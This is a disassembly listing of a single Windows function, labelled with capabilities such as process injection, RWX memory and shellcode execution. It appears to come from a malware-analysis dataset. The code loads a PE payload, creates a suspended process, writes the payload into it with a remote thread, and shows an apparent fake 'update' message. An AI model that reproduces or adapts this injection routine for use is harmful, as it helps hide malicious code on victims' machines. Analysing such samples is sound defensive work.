Function at 0x69cd2923
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Execute shellcode via indirect call
Inject thread
Link many functions at runtime
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0xbb4
mov edx, 0x69cd291d
mov eax, 0x69cd25ff
sub edx, eax
mov eax, edx
mov dword [ebp - 0xc], eax
mov eax, dword [0x69ce9028]
mov dword [esp + 8], 0x802040
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_HeapAlloc]
call eax
sub esp, 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x69cd2973
mov eax, 0
jmp 0x69cd308d
cmp dword [ebp + 0x10], 0
je 0x69cd2989
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FreeLibrary]
call eax
sub esp, 4
mov dword [esp], str.KERNEL32.DLL
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call eax
sub esp, 4
mov dword [ebp + 0x10], eax
cmp dword [ebp + 0x10], 0
jne 0x69cd29fa
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 8], eax
mov dword [esp + 4], str.Error_en_DAU_7_LE:___lu
lea eax, [ebp - 0xb34]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_wsprintfW]
call eax
mov dword [esp + 0xc], 0x40010
mov dword [esp + 8], 0x69ce588c
lea eax, [ebp - 0xb34]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_MessageBoxW]
call eax
sub esp, 0x10
mov eax, 0
jmp 0x69cd308d
mov dword [esp + 8], 0x802040
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0xb78]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [ebp - 0xb78], 0x44
mov edx, 0x69cd291d
mov eax, 0x69cd25ff
sub edx, eax
mov eax, edx
cmp eax, 0x2000
jbe 0x69cd2a5c
mov eax, 0
jmp 0x69cd308d
mov edx, 0x69cd291d
mov eax, 0x69cd25ff
sub edx, eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], edx
mov dword [esp + 4], 0x69cd25ff
mov dword [esp], eax
call fcn.69cc1c61
mov dword [esp + 4], str.ExitProcess
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov edx, eax
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x2000], edx
mov dword [esp + 4], str.CloseHandle
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov edx, eax
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x2004], edx
mov dword [esp + 4], str.CreateFileW
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov edx, eax
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x2008], edx
mov dword [esp + 4], str.WriteFile
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov edx, eax
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x200c], edx
mov dword [esp + 4], str.AllocConsole
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov edx, eax
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x2010], edx
mov dword [esp + 4], str.GetStdHandle
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov edx, eax
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x2014], edx
mov dword [esp + 4], str.Sleep
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov edx, eax
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x2018], edx
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x2000]
test eax, eax
je 0x69cd2bb5
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x2004]
test eax, eax
je 0x69cd2bb5
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x2008]
test eax, eax
je 0x69cd2bb5
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x200c]
test eax, eax
je 0x69cd2bb5
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x2018]
test eax, eax
jne 0x69cd2bbf
mov eax, 0
jmp 0x69cd308d
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x69ce5fd0
lea eax, [ebp - 0xb34]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_wsprintfW]
call eax
lea eax, [ebp - 0x92c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov edx, dword [ebp + 0xc]
mov dword [esp], edx
mov ecx, eax
call fcn.69cc260a
sub esp, 0x10
lea eax, [ebp - 0x92c]
lea edx, [ebp - 0xb34]
mov dword [esp], edx
mov ecx, eax
call fcn.69cc268e
sub esp, 4
test eax, eax
sete al
test al, al
je 0x69cd2c81
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], str.Error_en_DAU_1_WE:___lu
lea eax, [ebp - 0xb34]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_wsprintfW]
call eax
mov dword [esp + 0xc], 0x40010
mov dword [esp + 8], 0x69ce588c
lea eax, [ebp - 0xb34]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_MessageBoxW]
call eax
sub esp, 0x10
mov eax, 0
jmp 0x69cd308d
mov eax, dword [ebp - 0x10]
lea ecx, [eax + 0x80201c]
mov eax, dword [ebp - 0x10]
lea edx, [eax + 0x201c]
lea eax, [ebp - 0x92c]
mov dword [esp + 8], ecx
mov dword [esp + 4], 0x800000
mov dword [esp], edx
mov ecx, eax
call fcn.69cc2724
sub esp, 0xc
test eax, eax
sete al
test al, al
je 0x69cd2d1b
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], str.Error_en_DAU_2_WE:___lu
lea eax, [ebp - 0xb34]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_wsprintfW]
call eax
mov dword [esp + 0xc], 0x40010
mov dword [esp + 8], 0x69ce588c
lea eax, [ebp - 0xb34]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_MessageBoxW]
call eax
sub esp, 0x10
lea eax, [ebp - 0x92c]
mov ecx, eax
call fcn.69cc25d8
mov eax, 0
jmp 0x69cd308d
lea eax, [ebp - 0x92c]
mov ecx, eax
call fcn.69cc25d8
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x80201c]
test eax, eax
jne 0x69cd2d88
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], str.Error_en_DAU_3_WE:___lu
lea eax, [ebp - 0xb34]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_wsprintfW]
call eax
mov dword [esp + 0xc], 0x40010
mov dword [esp + 8], 0x69ce588c
lea eax, [ebp - 0xb34]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_MessageBoxW]
call eax
sub esp, 0x10
mov eax, 0
jmp 0x69cd308d
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax + 0x201c]
cmp al, 0x4d
jne 0x69cd2da4
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax + 0x201d]
cmp al, 0x5a
je 0x69cd2df7
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], str.Error_en_DAU_4_WE:___lu
lea eax, [ebp - 0xb34]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_wsprintfW]
call eax
mov dword [esp + 0xc], 0x40010
mov dword [esp + 8], 0x69ce588c
lea eax, [ebp - 0xb34]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_MessageBoxW]
call eax
sub esp, 0x10
mov eax, 0
jmp 0x69cd308d
lea eax, [ebp - 0xb88]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0xb78]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessW]
call eax
sub esp, 0x28
test eax, eax
sete al
test al, al
je 0x69cd2eb3
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 8], eax
mov dword [esp + 4], str.Error_en_DAU_5_WE:___lu
lea eax, [ebp - 0xb34]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_wsprintfW]
call eax
mov dword [esp + 0xc], 0x40010
mov dword [esp + 8], 0x69ce588c
lea eax, [ebp - 0xb34]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_MessageBoxW]
call eax
sub esp, 0x10
mov eax, 0
jmp 0x69cd308d
mov eax, dword [ebp - 0xb88]
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], 0x802040
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call eax
sub esp, 0x14
mov dword [ebp - 0x930], eax
mov eax, dword [ebp - 0x930]
test eax, eax
jne 0x69cd2f00
mov eax, 0
jmp 0x69cd308d
mov dword [ebp - 0x934], 0
mov edx, dword [ebp - 0x930]
mov eax, dword [ebp - 0xb88]
lea ecx, [ebp - 0x934]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0x802040
mov ecx, dword [ebp - 0x10]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
test eax, eax
je 0x69cd2f51
mov eax, dword [ebp - 0x934]
cmp eax, 0x802040
je 0x69cd2f58
mov eax, 1
jmp 0x69cd2f5d
mov eax, 0
test al, al
je 0x69cd2f6b
mov eax, 0
jmp 0x69cd308d
mov ecx, dword [ebp - 0x930]
mov edx, dword [ebp - 0x930]
mov eax, dword [ebp - 0xb88]
lea ebx, [ebp - 0xb88]
add ebx, 0xc
mov dword [esp + 0x18], ebx
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call eax
sub esp, 0x1c
mov dword [ebp - 0xb84], eax
mov eax, dword [ebp - 0xb84]
test eax, eax
jne 0x69cd301b
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 8], eax
mov dword [esp + 4], str.Error_en_DAU_6_WE:___lu
lea eax, [ebp - 0xb34]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_wsprintfW]
call eax
mov dword [esp + 0xc], 0x40010
mov dword [esp + 8], 0x69ce588c
lea eax, [ebp - 0xb34]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_MessageBoxW]
call eax
sub esp, 0x10
mov eax, 0
jmp 0x69cd308d
mov eax, dword [0x69ce9028]
mov edx, dword [ebp - 0x10]
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_HeapFree]
call eax
sub esp, 0xc
mov dword [esp + 0xc], 0x40040
mov dword [esp + 8], 0x69ce588c
mov dword [esp + 4], str.Actualizaci
mov eax, dword [ebp + 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_MessageBoxW]
call eax
sub esp, 0x10
mov dword [esp], 0x7d0
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [ebp - 0xb84]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ResumeThread]
call eax
sub esp, 4
mov eax, 1
mov ebx, dword [ebp - 4]
leave
ret